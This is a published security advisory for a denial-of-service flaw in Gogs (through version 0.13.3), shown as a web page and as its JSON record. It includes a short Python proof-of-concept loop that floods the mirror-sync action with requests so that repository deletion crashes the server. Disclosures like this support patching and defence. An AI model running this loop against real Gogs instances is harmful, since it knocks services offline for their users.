GHSA-CR88-6MQM-4G57

Vulnerability from github – Published: 2026-02-06 18:08 – Updated: 2026-02-06 19:06
VLAI?
Summary
Gogs has a Denial of Service issue
Details

Summary

An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.

Details

If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits. https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 if err != nil m is alwasa nil https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278

PoC

Spam mirror-sync on repo and delete this repo code python spam mirror-sync

import requests

url = "http://gogs.lan:3000/superuser/gobypass403/settings"
headers = {
    "Cookie": "lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
}

data = {
    "_csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
    "action": "mirror-sync",
}

while True:
    print("syncing")
    response = requests.post(url, headers=headers, data=data)

Impact

Denial of Service server crash.

Severity ?
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.13.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "gogs.io/gogs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22592"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-06T18:08:16Z",
    "nvd_published_at": "2026-02-06T18:15:56Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.\n\n### Details\nIf GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits.\nhttps://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337\nif `err != nil` `m` is alwasa `nil`\nhttps://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278\n### PoC\nSpam mirror-sync on repo and delete this repo\ncode python spam mirror-sync\n```py\nimport requests\n\nurl = \"http://gogs.lan:3000/superuser/gobypass403/settings\"\nheaders = {\n    \"Cookie\": \"lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg\",\n}\n\ndata = {\n    \"_csrf\": \"UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg\",\n    \"action\": \"mirror-sync\",\n}\n\nwhile True:\n    print(\"syncing\")\n    response = requests.post(url, headers=headers, data=data)\n```\n### Impact\nDenial of Service server crash.",
  "id": "GHSA-cr88-6mqm-4g57",
  "modified": "2026-02-06T19:06:50Z",
  "published": "2026-02-06T18:08:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/security/advisories/GHSA-cr88-6mqm-4g57"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22592"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/commit/961a79e8f9f2b3190ea804bcf635e4b43b123272"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gogs/gogs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gogs has a Denial of Service issue"
}


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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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